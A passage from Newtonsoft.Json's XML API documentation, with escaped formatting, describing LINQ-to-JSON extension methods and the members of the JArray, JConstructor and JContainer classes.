properties of every object in the source collection.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the properties of every object in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken},System.Object)\">\n            <summary>\n            Returns a collection of child values of every object in the source collection with the given key.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <param name=\"key\">The token key.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the values of every token in the source collection with the given key.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Returns a collection of child values of every object in the source collection.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values``1(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken},System.Object)\">\n            <summary>\n            Returns a collection of converted child values of every object in the source collection with the given key.\n            </summary>\n            <typeparam name=\"U\">The type to convert the values to.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <param name=\"key\">The token key.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the converted values of every token in the source collection with the given key.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values``1(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Returns a collection of converted child values of every object in the source collection.\n            </summary>\n            <typeparam name=\"U\">The type to convert the values to.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the converted values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Value``1(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Converts the value.\n            </summary>\n            <typeparam name=\"U\">The type to convert the value to.</typeparam>\n            <param name=\"value\">A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> cast as a <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>A converted value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Value``2(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Converts the value.\n            </summary>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <typeparam name=\"U\">The type to convert the value to.</typeparam>\n            <param name=\"value\">A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> cast as a <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>A converted value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Children``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of child tokens of every array in the source collection.\n            </summary>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Children``2(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of converted child tokens of every array in the source collection.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <typeparam name=\"U\">The type to convert the values to.</typeparam>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the converted values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.AsJEnumerable(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Returns the input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>The input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.AsJEnumerable``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns the input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.\n            </summary>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>The input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\">\n            <summary>\n            Represents a collection of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> objects.\n            </summary>\n            <typeparam name=\"T\">The type of token.</typeparam>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.IJEnumerable`1.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JArray\">\n            <summary>\n            Represents a JSON array.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParseArray\" title=\"Parsing a JSON Array from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.LoadAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> representing the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/> property contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.LoadAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> representing the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/> property contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor(Newtonsoft.Json.Linq.JArray)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor(System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the array.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the array.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads an <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads an <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> populated from the string that contains JSON.</returns>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParseArray\" title=\"Parsing a JSON Array from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Parse(System.String,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> populated from the string that contains JSON.</returns>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParseArray\" title=\"Parsing a JSON Array from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.FromObject(System.Object)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.FromObject(System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used to read the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.Item(System.Int32)\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> at the specified index.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.IndexOf(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Determines the index of a specific item in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n            <param name=\"item\">The object to locate in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>\n            The index of <paramref name=\"item\"/> if found in the list; otherwise, -1.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Insert(System.Int32,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Inserts an item to the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> at the specified index.\n            </summary>\n            <param name=\"index\">The zero-based index at which <paramref name=\"item\"/> should be inserted.</param>\n            <param name=\"item\">The object to insert into the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <exception cref=\"T:System.ArgumentOutOfRangeException\">\n            <paramref name=\"index\"/> is not a valid index in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.RemoveAt(System.Int32)\">\n            <summary>\n            Removes the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> item at the specified index.\n            </summary>\n            <param name=\"index\">The zero-based index of the item to remove.</param>\n            <exception cref=\"T:System.ArgumentOutOfRangeException\">\n            <paramref name=\"index\"/> is not a valid index in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.GetEnumerator\">\n            <summary>\n            Returns an enumerator that iterates through the collection.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that can be used to iterate through the collection.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Add(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Adds an item to the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n            <param name=\"item\">The object to add to the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Clear\">\n            <summary>\n            Removes all items from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Contains(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Determines whether the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> contains a specific value.\n            </summary>\n            <param name=\"item\">The object to locate in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>\n            <c>true</c> if <paramref name=\"item\"/> is found in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.CopyTo(Newtonsoft.Json.Linq.JToken[],System.Int32)\">\n            <summary>\n            Copies the elements of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> to an array, starting at a particular array index.\n            </summary>\n            <param name=\"array\">The array.</param>\n            <param name=\"arrayIndex\">Index of the array.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.IsReadOnly\">\n            <summary>\n            Gets a value indicating whether the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> is read-only.\n            </summary>\n            <returns><c>true</c> if the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> is read-only; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Remove(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Removes the first occurrence of a specific object from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n            <param name=\"item\">The object to remove from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>\n            <c>true</c> if <paramref name=\"item\"/> was successfully removed from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>; otherwise, <c>false</c>. This method also returns <c>false</c> if <paramref name=\"item\"/> is not found in the original <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JConstructor\">\n            <summary>\n            Represents a JSON constructor.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.LoadAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.LoadAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.Name\">\n            <summary>\n            Gets or sets the name of this constructor.\n            </summary>\n            <value>The constructor name.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(Newtonsoft.Json.Linq.JConstructor)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(System.String,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class with the specified name and content.\n            </summary>\n            <param name=\"name\">The constructor name.</param>\n            <param name=\"content\">The contents of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(System.String,System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class with the specified name and content.\n            </summary>\n            <param name=\"name\">The constructor name.</param>\n            <param name=\"content\">The contents of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class with the specified name.\n            </summary>\n            <param name=\"name\">The constructor name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JContainer\">\n            <summary>\n            Represents a token that can contain other tokens.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JContainer.CollectionChanged\">\n            <summary>\n            Occurs when the items list of the collection has changed, or the collection is reset.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.OnCollectionChanged(System.Collections.Specialized.NotifyCollectionChangedEventArgs)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JContainer.CollectionChanged\"/> event.\n            </summary>\n            <param name=\"e\">The <see cref=\"T:System.Collections.Specialized.NotifyCollectionChangedEventArgs\"/> instance containing the event data.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.HasValues\">\n            <summary>\n            Gets a value indicating whether this token has child tokens.\n            </summary>\n            <value>\n            \t<c>true</c> if this token has child values; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.First\">\n            <summary>\n            Get the first child token of this token.\n            </summary>\n            <value>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the first child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.Last\">\n            <summary>\n            Get the last 